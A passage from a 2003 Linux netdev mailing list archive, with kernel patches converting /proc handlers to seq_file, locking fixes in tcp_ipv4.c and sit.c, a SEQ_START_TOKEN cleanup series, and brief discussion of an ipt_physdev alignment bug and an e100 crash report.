return sprintf(buf, " vcc %d.%d.%d: encaps=%s" + loff_t offs = 0; + struct br2684_dev *brd; + + read_lock(&devs_lock); + + list_for_each_entry(brd, &br2684_devs, br2684_devs) { + if (offs == *pos) + return brd; + ++offs; + } + return NULL; +} + +static void *br2684_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct br2684_dev *brd = v; + + ++*pos; + + brd = list_entry(brd->br2684_devs.next, + struct br2684_dev, br2684_devs); + return (&brd->br2684_devs != &br2684_devs) ? brd : NULL; +} + +static void br2684_seq_stop(struct seq_file *seq, void *v) +{ + read_unlock(&devs_lock); +} + +static int br2684_seq_show(struct seq_file *seq, void *v) +{ + const struct br2684_dev *brdev = v; + const struct net_device *net_dev = brdev->net_dev; + const struct br2684_vcc *brvcc; + + seq_printf(seq, "dev %.16s: num=%d, mac=%02X:%02X:" + "%02X:%02X:%02X:%02X (%s)\n", net_dev->name, + brdev->number, + net_dev->dev_addr[0], + net_dev->dev_addr[1], + net_dev->dev_addr[2], + net_dev->dev_addr[3], + net_dev->dev_addr[4], + net_dev->dev_addr[5], + brdev->mac_was_set ? "set" : "auto"); + + list_for_each_entry(brvcc, &brdev->brvccs, brvccs) { + seq_printf(seq, " vcc %d.%d.%d: encaps=%s" #ifndef FASTER_VERSION ", failed copies %u/%u" #endif /* FASTER_VERSION */ @@ -711,63 +738,41 @@ #undef bs #undef b1 #endif /* CONFIG_ATM_BR2684_IPFILTER */ - } } return 0; } -static ssize_t br2684_proc_read(struct file *file, char *buf, size_t count, - loff_t *pos) +static struct seq_operations br2684_seq_ops = { + .start = br2684_seq_start, + .next = br2684_seq_next, + .stop = br2684_seq_stop, + .show = br2684_seq_show, +}; + +static int br2684_proc_open(struct inode *inode, struct file *file) { - unsigned long page; - int len = 0, x, left; - page = get_zeroed_page(GFP_KERNEL); - if (!page) - return -ENOMEM; - left = PAGE_SIZE - 256; - if (count < left) - left = count; - read_lock(&devs_lock); - for (;;) { - x = br2684_proc_engine(*pos, &((char *) page)[len]); - if (x == 0) - break; - if (x > left) - /* - * This should only happen if the user passed in - * a "count" too small for even one line - */ - x = -EINVAL; - if (x < 0) { - len = x; - break; - } - len += x; - left -= x; - (*pos)++; - if (left < 256) - break; - } - read_unlock(&devs_lock); - if (len > 0 && copy_to_user(buf, (char *) page, len)) - len = -EFAULT; - free_page(page); - return len; + return seq_open(file, &br2684_seq_ops); } -static struct file_operations br2684_proc_operations = { - .owner = THIS_MODULE, - .read = br2684_proc_read, +static struct file_operations br2684_proc_ops = { + .owner = THIS_MODULE, + .open = br2684_proc_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, }; extern struct proc_dir_entry *atm_proc_root; /* from proc.c */ +#endif static int __init br2684_init(void) { +#ifdef CONFIG_PROC_FS struct proc_dir_entry *p; if ((p = create_proc_entry("br2684", 0, atm_proc_root)) == NULL) return -ENOMEM; - p->proc_fops = &br2684_proc_operations; + p->proc_fops = &br2684_proc_ops; +#endif br2684_ioctl_set(br2684_ioctl); return 0; } @@ -779,7 +784,9 @@ struct br2684_vcc *brvcc; br2684_ioctl_set(NULL); +#ifdef CONFIG_PROC_FS remove_proc_entry("br2684", atm_proc_root); +#endif while (!list_empty(&br2684_devs)) { net_dev = list_entry_brdev(br2684_devs.next); From laforge@netfilter.org Fri Sep 5 13:39:47 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 13:40:25 -0700 (PDT) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85Kdjx4002898 for ; Fri, 5 Sep 2003 13:39:47 -0700 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.20) id 19vNMt-00051H-Hr for netdev@oss.sgi.com; Fri, 05 Sep 2003 22:39:43 +0200 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 19vIYy-0000yI-00; Fri, 05 Sep 2003 17:31:52 +0200 Date: Fri, 5 Sep 2003 17:31:52 +0200 From: Harald Welte To: "David S. Miller" Cc: Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-ID: <20030905153152.GA3623@obroa-skai.de.gnumonks.org> Mail-Followup-To: Harald Welte , "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <200309022116.41697.bdschuym@pandora.be> <20030903200426.59d0af4a.davem@redhat.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="gBBFr7Ir9EOA20Yy" Content-Disposition: inline In-Reply-To: <20030903200426.59d0af4a.davem@redhat.com> X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.0-test4 X-Date: Today is Pungenday, the 29th day of Bureaucracy in the YOLD 3169 User-Agent: Mutt/1.5.4i X-archive-position: 5650 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev --gBBFr7Ir9EOA20Yy Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Sep 03, 2003 at 08:04:26PM -0700, David S. Miller wrote: > On Tue, 2 Sep 2003 21:16:41 +0200 > Bart De Schuymer wrote: >=20 > > On Tuesday 02 September 2003 16:30, Arnaldo Carvalho de Melo wrote: > > > The 1.786.1.54 changeset (i.e. the initial ipt_physdev.c one 8) creat= ed > >=20 > > Does this fix it? >=20 > You can't use this fix. This header and structure are used by > userspace and "unsigned long" can be a different size in the > kernel than it is in user space. >=20 > Please, just remove the super-silly memcmp() optimization in > the ipt_physdev.c code. Dave, the respective code in ipt_physdev.c seems to be copied from the ip_tables.c interface name match (which definitely has the same alignment issues, btw). The problem is that it is _not_ a simple reimplementation of memcmp(), but a mask-compare. People can do stuff like "-i ppp+", meaning that traffic from all interfaces called "ppp" are matched. --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --gBBFr7Ir9EOA20Yy Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/WKxnXaXGVTD0i/8RAuNfAKCihA9rrd0JcJDQzSqEChRHsGianQCgnmLd k7bel9I7IL3TuD6rd7X4Stc= =lQcX -----END PGP SIGNATURE----- --gBBFr7Ir9EOA20Yy-- From shemminger@osdl.org Fri Sep 5 14:00:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 14:00:48 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85L02x4009025 for ; Fri, 5 Sep 2003 14:00:15 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h85Kxoo24683; Fri, 5 Sep 2003 13:59:50 -0700 Date: Fri, 5 Sep 2003 13:59:35 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] unneeded proc_fs.h includes in packet schedulers Message-Id: <20030905135935.682936bc.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5651 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Following include proc_fs.h but don't use it. diff -Nru a/net/sched/estimator.c b/net/sched/estimator.c --- a/net/sched/estimator.c Fri Sep 5 13:57:10 2003 +++ b/net/sched/estimator.c Fri Sep 5 13:57:10 2003 @@ -26,7 +26,6 @@ #include #include #include -#include #include #include diff -Nru a/net/sched/police.c b/net/sched/police.c --- a/net/sched/police.c Fri Sep 5 13:57:10 2003 +++ b/net/sched/police.c Fri Sep 5 13:57:10 2003 @@ -27,7 +27,6 @@ #include #include #include -#include #include #include From shemminger@osdl.org Fri Sep 5 14:01:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 14:01:48 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h85L1Vx4009340 for ; Fri, 5 Sep 2003 14:01:31 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h85L1Jo25021; Fri, 5 Sep 2003 14:01:19 -0700 Date: Fri, 5 Sep 2003 14:01:04 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] convert packet scheduler API to single_open Message-Id: <20030905140104.6a9ed33a.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5652 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Convert /proc/net/psched to use seq_file; almost trivial. Patch against 2.6.0-test4 bk latest. diff -Nru a/net/sched/sch_api.c b/net/sched/sch_api.c --- a/net/sched/sch_api.c Fri Sep 5 13:58:01 2003 +++ b/net/sched/sch_api.c Fri Sep 5 13:58:01 2003 @@ -32,6 +32,7 @@ #include #include #include +#include #include #include @@ -1059,27 +1060,27 @@ int psched_tick_per_us = 1; #ifdef CONFIG_PROC_FS -static int psched_read_proc(char *buffer, char **start, off_t offset, - int length, int *eof, void *data) +static int psched_show(struct seq_file *seq, void *v) { - int len; - - len = sprintf(buffer, "%08x %08x %08x %08x\n", + seq_printf(seq, "%08x %08x %08x %08x\n", psched_tick_per_us, psched_us_per_tick, 1000000, HZ); - len -= offset; - - if (len > length) - len = length; - if(len < 0) - len = 0; - - *start = buffer + offset; - *eof = 1; + return 0; +} - return len; +static int psched_open(struct inode *inode, struct file *file) +{ + return single_open(file, psched_show, PDE(inode)->data); } + +static struct file_operations psched_fops = { + .owner = THIS_MODULE, + .open = psched_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; #endif #if PSCHED_CLOCK_SOURCE == PSCHED_GETTIMEOFDAY @@ -1250,9 +1251,7 @@ tc_filter_init(); #endif -#ifdef CONFIG_PROC_FS - create_proc_read_entry("net/psched", 0, 0, psched_read_proc, NULL); -#endif + proc_net_fops_create("psched", 0, &psched_fops); return 0; } From scott.feldman@intel.com Fri Sep 5 17:18:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 17:19:00 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h860IPx4005221 for ; Fri, 5 Sep 2003 17:18:25 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h860G0E23210 for ; Sat, 6 Sep 2003 00:16:00 GMT Received: from orsmsxvs041.jf.intel.com (orsmsxvs041.jf.intel.com [192.168.65.54]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h860D7B29352 for ; Sat, 6 Sep 2003 00:13:07 GMT Received: from orsmsx331.amr.corp.intel.com ([192.168.65.56]) by orsmsxvs041.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003090517181821006 ; Fri, 05 Sep 2003 17:18:18 -0700 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx331.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 5 Sep 2003 17:18:17 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: Crash with e100 and ethtool on 2.6.0-test4 latest Date: Fri, 5 Sep 2003 17:18:17 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Crash with e100 and ethtool on 2.6.0-test4 latest Thread-Index: AcNz2w6z/FdShX4oSt+3b1WRh7vK2QAMIqMw From: "Feldman, Scott" To: "Stephen Hemminger" , "Jeff Garzik" Cc: X-OriginalArrivalTime: 06 Sep 2003 00:18:17.0918 (UTC) FILETIME=[5F063DE0:01C3740C] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h860IPx4005221 X-archive-position: 5653 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev > # ethtool -K eth0 rx off > > Unable to handle kernel paging request at virtual address f8875000 Works for me with ethtool 1.8. What's your ethtool version? Also, what rev is the e100 nic (lspci)? -scott From mike@server-mrozhavsky.dyndns.org Fri Sep 5 17:26:56 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 17:27:31 -0700 (PDT) Received: from server (h24-83-10-252.vc.shawcable.net [24.83.10.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h860Qtx4005967 for ; Fri, 5 Sep 2003 17:26:55 -0700 Received: by server (Postfix, from userid 1000) id 4FDD955F1F; Fri, 5 Sep 2003 17:26:49 -0700 (PDT) Date: Fri, 5 Sep 2003 17:26:49 -0700 From: Michael Rozhavsky To: netdev@oss.sgi.com Subject: [PATCH] fix locking Message-ID: <20030906002649.GA32369@server-mrozhavsky.dyndns.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="i0/AhcQY5QxfSsSZ" Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 5654 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mike@minantech.com Precedence: bulk X-list: netdev --i0/AhcQY5QxfSsSZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi, I've found two problems with locking in networking code. -- Michael --i0/AhcQY5QxfSsSZ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="tcp_ipv4.c.diff" --- ../../../linux-2.4.22/net/ipv4/tcp_ipv4.c Mon Aug 25 04:44:44 2003 +++ tcp_ipv4.c Fri Sep 5 16:56:54 2003 @@ -907,9 +907,9 @@ req->expires = jiffies + TCP_TIMEOUT_INIT; req->retrans = 0; req->sk = NULL; - req->dl_next = lopt->syn_table[h]; write_lock(&tp->syn_wait_lock); + req->dl_next = lopt->syn_table[h]; lopt->syn_table[h] = req; write_unlock(&tp->syn_wait_lock); --i0/AhcQY5QxfSsSZ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="sit.c.diff" --- sit.c.orig Fri Sep 5 17:07:55 2003 +++ sit.c Fri Sep 5 17:08:37 2003 @@ -125,14 +125,14 @@ { struct ip_tunnel **tp; + write_lock_bh(&ipip6_lock); for (tp = ipip6_bucket(t); *tp; tp = &(*tp)->next) { if (t == *tp) { - write_lock_bh(&ipip6_lock); *tp = t->next; - write_unlock_bh(&ipip6_lock); break; } } + write_unlock_bh(&ipip6_lock); } static void ipip6_tunnel_link(struct ip_tunnel *t) @@ -141,8 +141,8 @@ write_lock_bh(&ipip6_lock); t->next = *tp; - write_unlock_bh(&ipip6_lock); *tp = t; + write_unlock_bh(&ipip6_lock); } struct ip_tunnel * ipip6_tunnel_locate(struct ip_tunnel_parm *parms, int create) --i0/AhcQY5QxfSsSZ-- From joe@perches.com Fri Sep 5 18:46:51 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 18:47:25 -0700 (PDT) Received: from Perches.com (DSL022.LABridge.com [206.117.136.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h861kox4028594 for ; Fri, 5 Sep 2003 18:46:50 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id TAA13353; Fri, 5 Sep 2003 19:36:27 -0700 Subject: [PATCH] 2.6.0-test4 SEQ_START_TOKEN Add #define to seq_file.h (1/6) From: Joe Perches To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1062812809.16845.163.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 05 Sep 2003 18:46:49 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5655 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev Code that includes seq_file.h use a magic pointer "(void*)1" to start a header seq_printf. These patches convert the magic pointer use to a #define diff -urN linux-2.6.0-test4/include/linux/seq_file.h SEQ_START_TOKEN/include/linux/seq_file.h -- linux-2.6.0-test4/include/linux/seq_file.h 2003-08-22 17:02:49.000000000 -0700 +++ SEQ_START_TOKEN/include/linux/seq_file.h 2003-09-04 17:28:19.000000000 -0700 @@ -65,5 +65,8 @@ int single_open(struct file *, int (*)(struct seq_file *, void *), void *); int single_release(struct inode *, struct file *); int seq_release_private(struct inode *, struct file *); + +#define SEQ_START_TOKEN ((void *)1) + #endif #endif From joe@perches.com Fri Sep 5 18:47:19 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 05 Sep 2003 18:47:57 -0700 (PDT) Received: from Perches.com (DSL022.LABridge.com [206.117.136.22]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h861lGx4028622 for ; Fri, 5 Sep 2003 18:47:16 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id TAA13358; Fri, 5 Sep 2003 19:36:52 -0700 Subject: [PATCH] 2.6.0-test4 SEQ_START_TOKEN net/* (2/6) From: Joe Perches To: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1062812834.16845.165.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Fri, 05 Sep 2003 18:47:14 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 5656 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev diff -urN linux-2.6.0-test4/net/8021q/vlanproc.c SEQ_START_TOKEN/net/8021q/vlanproc.c -- linux-2.6.0-test4/net/8021q/vlanproc.c 2003-08-22 16:53:55.000000000 -0700 +++ SEQ_START_TOKEN/net/8021q/vlanproc.c 2003-09-04 20:26:49.000000000 -0700 @@ -46,10 +46,6 @@ static void vlan_seq_stop(struct seq_file *seq, void *); static int vlandev_seq_show(struct seq_file *seq, void *v); -/* Miscellaneous */ -#define SEQ_START_TOKEN ((void *) 1) - - /* * Global Data */ diff -urN linux-2.6.0-test4/net/appletalk/aarp.c SEQ_START_TOKEN/net/appletalk/aarp.c -- linux-2.6.0-test4/net/appletalk/aarp.c 2003-09-02 12:52:45.000000000 -0700 +++ SEQ_START_TOKEN/net/appletalk/aarp.c 2003-09-04 20:27:42.000000000 -0700 @@ -941,7 +941,7 @@ iter->table = resolved; iter->bucket = 0; - return *pos ? iter_next(iter, pos) : ((void *)1); + return *pos ? iter_next(iter, pos) : SEQ_START_TOKEN; } static void *aarp_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -952,7 +952,7 @@ ++*pos; /* first line after header */ - if (v == ((void *)1)) + if (v == SEQ_START_TOKEN) entry = iter_next(iter, NULL); /* next entry in current bucket */ @@ -987,7 +987,7 @@ struct aarp_entry *entry = v; unsigned long now = jiffies; - if (v == ((void *)1)) + if (v == SEQ_START_TOKEN) seq_puts(seq, "Address Interface Hardware Address" " Expires LastSend Retry Status\n"); diff -urN linux-2.6.0-test4/net/appletalk/atalk_proc.c SEQ_START_TOKEN/net/appletalk/atalk_proc.c -- linux-2.6.0-test4/net/appletalk/atalk_proc.c 2003-09-02 12:52:45.000000000 -0700 +++ SEQ_START_TOKEN/net/appletalk/atalk_proc.c 2003-09-04 20:27:44.000000000 -0700 @@ -33,7 +33,7 @@ loff_t l = *pos; read_lock_bh(&atalk_interfaces_lock); - return l ? atalk_get_interface_idx(--l) : (void *)1; + return l ? atalk_get_interface_idx(--l) : SEQ_START_TOKEN; } static void *atalk_seq_interface_next(struct seq_file *seq, void *v, loff_t *pos) @@ -41,7 +41,7 @@ struct atalk_iface *i; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { i = NULL; if (atalk_interfaces) i = atalk_interfaces; @@ -62,7 +62,7 @@ { struct atalk_iface *iface; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Interface Address Networks " "Status\n"); goto out; @@ -92,7 +92,7 @@ loff_t l = *pos; read_lock_bh(&atalk_routes_lock); - return l ? atalk_get_route_idx(--l) : (void *)1; + return l ? atalk_get_route_idx(--l) : SEQ_START_TOKEN; } static void *atalk_seq_route_next(struct seq_file *seq, void *v, loff_t *pos) @@ -100,7 +100,7 @@ struct atalk_route *r; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { r = NULL; if (atalk_routes) r = atalk_routes; @@ -121,7 +121,7 @@ { struct atalk_route *rt; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Target Router Flags Dev\n"); goto out; } @@ -160,7 +160,7 @@ loff_t l = *pos; read_lock_bh(&atalk_sockets_lock); - return l ? atalk_get_socket_idx(--l) : (void *)1; + return l ? atalk_get_socket_idx(--l) : SEQ_START_TOKEN; } static void *atalk_seq_socket_next(struct seq_file *seq, void *v, loff_t *pos) @@ -168,7 +168,7 @@ struct sock *i; ++*pos; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { i = sk_head(&atalk_sockets); goto out; } @@ -187,7 +187,7 @@ struct sock *s; struct atalk_sock *at; - if (v == (void *)1) { + if (v == SEQ_START_TOKEN) { seq_printf(seq, "Type Local_addr Remote_addr Tx_queue " "Rx_queue St UID\n"); goto out; diff -urN linux-2.6.0-test4/net/core/dev.c SEQ_START_TOKEN/net/core/dev.c -- linux-2.6.0-test4/net/core/dev.c 2003-09-02 12:52:45.000000000 -0700 +++ SEQ_START_TOKEN/net/core/dev.c 2003-09-04 20:06:43.000000000 -0700 @@ -1844,13 +1844,13 @@ void *dev_seq_start(struct seq_file *seq, loff_t *pos) { read_lock(&dev_base_lock); - return *pos ? dev_get_idx(*pos - 1) : (void *)1; + return *pos ? dev_get_idx(*pos - 1) : SEQ_START_TOKEN; } void *dev_seq_next(struct seq_file *seq, void *v, loff_t *pos) { ++*pos; - return v == (void *)1 ? dev_base : ((struct net_device *)v)->next; + return v == SEQ_START_TOKEN ? dev_base : ((struct net_device *)v)->next; } void dev_seq_stop(struct seq_file *seq, void *v) @@ -1890,7 +1890,7 @@ */ static int dev_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_puts(seq, "Inter-| Receive " " | Transmit\n" " face |bytes packets errs drop fifo frame " diff -urN linux-2.6.0-test4/net/core/wireless.c SEQ_START_TOKEN/net/core/wireless.c -- linux-2.6.0-test4/net/core/wireless.c 2003-08-22 16:58:39.000000000 -0700 +++ SEQ_START_TOKEN/net/core/wireless.c 2003-09-04 19:55:08.000000000 -0700 @@ -458,7 +458,7 @@ */ static int wireless_seq_show(struct seq_file *seq, void *v) { - if (v == (void *)1) + if (v == SEQ_START_TOKEN) seq_printf(seq, "Inter-| sta-| Quality | Discarded " "packets | Missed | WE\n" " face | tus | link level noise | nwid " diff -urN linux-2.6.0-test4/net/decnet/af_decnet.c SEQ_START_TOKEN/net/decnet/af_decnet.c -- linux-2.6.0-test4/net/decnet/af_decnet.c 2003-08-22 16:56:22.000000000 -0700 +++ SEQ_START_TOKEN/net/decnet/af_decnet.c 2003-09-04 20:27:37.000000000 -0700 @@ -2146,14 +2146,14 @@ static void *dn_socket_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? dn_socket_get_idx(seq, *pos - 1) : (void*)1; + return *pos ? dn_socket_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *dn_socket_seq_next(struct seq_file *seq, void *v, loff_t *pos) { void *rc; - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { rc = dn_socket_get_idx(seq, 0); goto out; } @@ -2169,7 +2169,7 @@ static void dn_socket_seq_stop(struct seq_file *seq, void *v) { - if (v && v != (void*)1) + if (v && v != SEQ_START_TOKEN) read_unlock_bh(&dn_hash_lock); } @@ -2269,7 +2269,7 @@ static int dn_socket_seq_show(struct seq_file *seq, void *v) { - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Local Remote\n"); } else { dn_socket_format_entry(seq, v); diff -urN linux-2.6.0-test4/net/decnet/dn_dev.c SEQ_START_TOKEN/net/decnet/dn_dev.c -- linux-2.6.0-test4/net/decnet/dn_dev.c 2003-08-22 16:54:17.000000000 -0700 +++ SEQ_START_TOKEN/net/decnet/dn_dev.c 2003-09-04 20:27:39.000000000 -0700 @@ -1366,7 +1366,7 @@ read_unlock(&dev_base_lock); return dev; } - return (void*)1; + return SEQ_START_TOKEN; } static void *dn_dev_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -1374,7 +1374,7 @@ struct net_device *dev = v; loff_t one = 1; - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { dev = dn_dev_seq_start(seq, &one); } else { dev = dn_dev_get_next(seq, dev); @@ -1387,7 +1387,7 @@ static void dn_dev_seq_stop(struct seq_file *seq, void *v) { - if (v && v != (void*)1) + if (v && v != SEQ_START_TOKEN) read_unlock(&dev_base_lock); } @@ -1407,7 +1407,7 @@ static int dn_dev_seq_show(struct seq_file *seq, void *v) { - if (v == (void*)1) + if (v == SEQ_START_TOKEN) seq_puts(seq, "Name Flags T1 Timer1 T3 Timer3 BlkSize Pri State DevType Router Peer\n"); else { struct net_device *dev = v; diff -urN linux-2.6.0-test4/net/decnet/dn_neigh.c SEQ_START_TOKEN/net/decnet/dn_neigh.c -- linux-2.6.0-test4/net/decnet/dn_neigh.c 2003-08-22 16:57:50.000000000 -0700 +++ SEQ_START_TOKEN/net/decnet/dn_neigh.c 2003-09-04 20:27:34.000000000 -0700 @@ -604,7 +604,7 @@ static void *dn_neigh_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? dn_neigh_get_idx(seq, *pos - 1) : (void*)1; + return *pos ? dn_neigh_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *dn_neigh_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -612,7 +612,7 @@ void *rc; - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { rc = dn_neigh_get_idx(seq, 0); goto out; } @@ -628,7 +628,7 @@ static void dn_neigh_seq_stop(struct seq_file *seq, void *v) { - if (v && v != (void*)1) + if (v && v != SEQ_START_TOKEN) read_unlock_bh(&dn_neigh_table.lock); } @@ -653,7 +653,7 @@ static int dn_neigh_seq_show(struct seq_file *seq, void *v) { - if (v == (void*)1) { + if (v == SEQ_START_TOKEN) { seq_puts(seq, "Addr Flags State Use Blksize Dev\n"); } else { dn_neigh_format_entry(seq, v); diff -urN linux-2.6.0-test4/net/ipv4/arp.c SEQ_START_TOKEN/net/ipv4/arp.c -- linux-2.6.0-test4/net/ipv4/arp.c 2003-08-22 16:58:59.000000000 -0700 +++ SEQ_START_TOKEN/net/ipv4/arp.c 2003-09-04 20:06:32.000000000 -0700 @@ -1275,7 +1275,7 @@ static void *arp_seq_start(struct seq_file *seq, loff_t *pos) { - return *pos ? arp_get_idx(seq, *pos - 1) : (void *)1; + return *pos ? arp_get_idx(seq, *pos - 1) : SEQ_START_TOKEN; } static void *arp_seq_next(struct seq_file *seq, void *v, loff_t *pos) @@ -1283,7 +1283,7 @@ void *rc; struct arp_iter_state* state; - if (v == (void *)1) { + if (v == 